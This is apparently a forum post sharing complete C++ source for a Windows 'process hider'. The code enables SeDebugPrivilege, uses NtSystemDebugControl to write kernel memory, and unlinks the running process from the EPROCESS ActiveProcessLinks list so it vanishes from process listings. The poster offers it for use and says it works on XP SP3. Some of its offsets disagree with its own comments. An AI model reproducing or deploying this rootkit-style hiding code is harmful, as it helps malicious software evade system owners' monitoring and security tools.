Windows Process Hider

in no way is this my code at all:

simply added/modify 2 lines to make it work correctly for Dev-C++

1) LONG (NTAPI *NtSystemDebugControl)(int,void*,DWORD,void*,DWORD,DWORD*);

2) *(DWORD*)&NtSystemDebugControl =(DWORD)GetProcAddress(LoadLibrary("ntdll"),"NtSystemDebugControl");

#define WIN32_LEAN_AND_MEAN

#include <windows.h>

#include <stdio.h>

#include <shlwapi.h>

#include <iostream>

using namespace std;

typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

//ivanlef0u's code

//xp sp2 ntoskrnl 5.1.2600, les chiffre indiquent la taille de la struct à passer en argument

typedef enum _DEBUG_CONTROL_CODE {

    DebugSysGetTraceInformation=1,

    DebugSysSetInternalBreakpoint, //0x38

    DebugSysSetSpecialCall, //0x4

    DebugSysClerSpecialCalls,  //no args kill all special calls

    DebugSysQuerySpecialCalls, 

    DebugSysBreakpointWithStatus,

    DebugSysGetVersion, //0x28
    //sources de reactos écrit par notre alex ionescu préféré ntexapi.h

    DebugSysReadVirtual = 8, //0x10

    DebugSysWriteVirtual = 9,

    DebugSysReadPhysical = 10,

    DebugSysWritePhysical = 11,
    DebugSysReadControlSpace=12, //0x18

    DebugSysWriteControlSpace, //0x18

    DebugSysReadIoSpace, //0x20

    DebugSysSysWriteIoSpace, //0x20

    DebugSysReadMsr, //0x10

    DebugSysWriteMsr, //0x10

    DebugSysReadBusData, //0x18

    DebugSysWriteBusData, //0x18

    DebugSysCheckLowMemory, 

} DEBUG_CONTROL_CODE;
typedef struct _SYSDBG_VIRTUAL {

    PVOID Address;

    PVOID Buffer;

    ULONG Request;

} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL;
extern "C"

__declspec(dllimport) 

ULONG

__stdcall

RtlNtStatusToDosError(

  NTSTATUS Status

); 
#define PKPCR 0xffdff000 // <=> fs:[0] in KeLand
//FUNCTIONS:

LONG (NTAPI *NtSystemDebugControl)(int,void*,DWORD,void*,DWORD,DWORD*);

//Check OS and get the right Offset:

int CheckOSVersion( int &Offset )

{

    //xWeasel's Code for checking OS's and setting the right Offset
    OSVERSIONINFO osvi;
    ZeroMemory(&osvi, sizeof(OSVERSIONINFO));

    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

    GetVersionEx(&osvi);

    if(osvi.dwPlatformId == VER_PLATFORM_WIN32_NT && osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)

    {

        Offset = 0x88; //WinXP
        return 1;

    }

    else if(osvi.dwPlatformId == VER_PLATFORM_WIN32_NT && osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)

    {

        Offset = 0xA0; //Win2000

        return 1;

    }

    else if(osvi.dwPlatformId == VER_PLATFORM_WIN32_NT && osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)

    {

        Offset = 0xA0; //VISTA

        return 1;

    }

    else

    {

        return 0;

    }

    return 0;

}
ULONG EnablePrivilege(char *Privilege)

{

    HANDLE hToken;

    ULONG Ret=1;

    TOKEN_PRIVILEGES TP;

    LUID Luid;
    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))

    {

        Ret=0;

        goto bye;    

    } 
    if(!LookupPrivilegeValue(NULL, Privilege, &TP.Privileges[0].Luid))

    {

        Ret=0;

        goto bye;    
    }
    TP.PrivilegeCount=1;

    TP.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    if(!AdjustTokenPrivileges(hToken,

                            false,

                            &TP,

                            NULL,

                            NULL,

                            NULL))

    {

        Ret=0;

        goto bye;    
    }
    bye:

    CloseHandle(hToken);
    return Ret;    

}
int HideCurrentProcess( int Offset )

{

*(DWORD*)&NtSystemDebugControl =(DWORD)GetProcAddress(LoadLibrary("ntdll"),"NtSystemDebugControl");

    ULONG Status, Addr, PrevEPROCESS, NextEPROCESS;

    SYSDBG_VIRTUAL Mem;
    if(!EnablePrivilege("SeDebugPrivilege"))

    {    

        return 0;

    }
    /**************** CURRENT ETHREAD ****************/

    Mem.Address=(PVOID)(PKPCR+0x124); //KPRRCB-> +0x004 CurrentThread    : Ptr32 _KTHREAD

    Mem.Buffer=&Addr;

    Mem.Request=sizeof(ULONG);
    Status=NtSystemDebugControl(DebugSysReadVirtual, &Mem , sizeof(SYSDBG_VIRTUAL), NULL, 0, NULL);

    if(Status!=STATUS_SUCCESS)

    {    

        return 0;

    }
    /**************** CURRENT EPROCESS ****************/

    Mem.Address=(PVOID)(Addr+0x220); //ETHREAD-> +0x220 ThreadsProcess : Ptr32 _EPROCESS

    Mem.Buffer=&Addr;

    Mem.Request=sizeof(ULONG);
    Status=NtSystemDebugControl(DebugSysReadVirtual, &Mem , sizeof(SYSDBG_VIRTUAL), NULL, 0, NULL);

    if(Status!=STATUS_SUCCESS)

    {        

        return 0;

    }
    /**************** PREV EPROCESS ****************/

    Mem.Address=(PVOID)(Addr+0x8C); //EPROCESS-> +0x088 ActiveProcessLinks : _LIST_ENTRY

    Mem.Buffer=&PrevEPROCESS;

    Mem.Request=sizeof(ULONG);
    Status=NtSystemDebugControl(DebugSysReadVirtual, &Mem , sizeof(SYSDBG_VIRTUAL), NULL, 0, NULL);

    if(Status!=STATUS_SUCCESS)

    {        

        return 0;

    }
    /**************** NEXT EPROCESS ****************/

    Mem.Address=(PVOID)(Addr+Offset); //EPROCESS-> +0x088 ActiveProcessLinks : _LIST_ENTRY

    Mem.Buffer=&NextEPROCESS;

    Mem.Request=sizeof(ULONG);
    Status=NtSystemDebugControl(DebugSysReadVirtual, &Mem , sizeof(SYSDBG_VIRTUAL), NULL, 0, NULL);

    if(Status!=STATUS_SUCCESS)

    {        

        return 0;

    }
    /**************** PREV EPROCESS TO NEXT EPROCESS ****************/

    Mem.Address=(PVOID)(PrevEPROCESS); //EPROCESS-> +0x088 ActiveProcessLinks : _LIST_ENTRY

    Mem.Buffer=&NextEPROCESS;

    Mem.Request=sizeof(ULONG);
    Status=NtSystemDebugControl(DebugSysWriteVirtual, &Mem , sizeof(SYSDBG_VIRTUAL), NULL, 0, NULL);

    if(Status!=STATUS_SUCCESS)

    {        

        return 0;

    }
    /**************** NEXT EPROCESS TO PREV EPROCESS ****************/

    Mem.Address=(PVOID)(NextEPROCESS+0x4); //EPROCESS-> +0x088 ActiveProcessLinks : _LIST_ENTRY

    Mem.Buffer=&PrevEPROCESS;

    Mem.Request=sizeof(ULONG);
    Status=NtSystemDebugControl(DebugSysWriteVirtual, &Mem , sizeof(SYSDBG_VIRTUAL), NULL, 0, NULL);

    if(Status!=STATUS_SUCCESS)

    {        

        return 0;

    }
    return 1; //SUCCED Stuff is hidden!!

}
//MAIN FUNCTION
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)    

{

    MessageBox(NULL,"Starting Main Function","Welcome",MB_OK);//DEBUG
    int Offset;
    if ( CheckOSVersion(Offset) == 1)

    {

        HideCurrentProcess(Offset);//OK to hide

        MessageBox(NULL,"Check if I'm hidden now!! Press OK to exit","FOUND!",MB_OK); //DEBUG
    }
    return 0;

}

the original idea was by a bad @ss hacker ivanlef0u 

http://www.ivanlef0u.tuxfamily.org/

--Currently works under SP3

Edited January 1, 201411 yr by JMC31337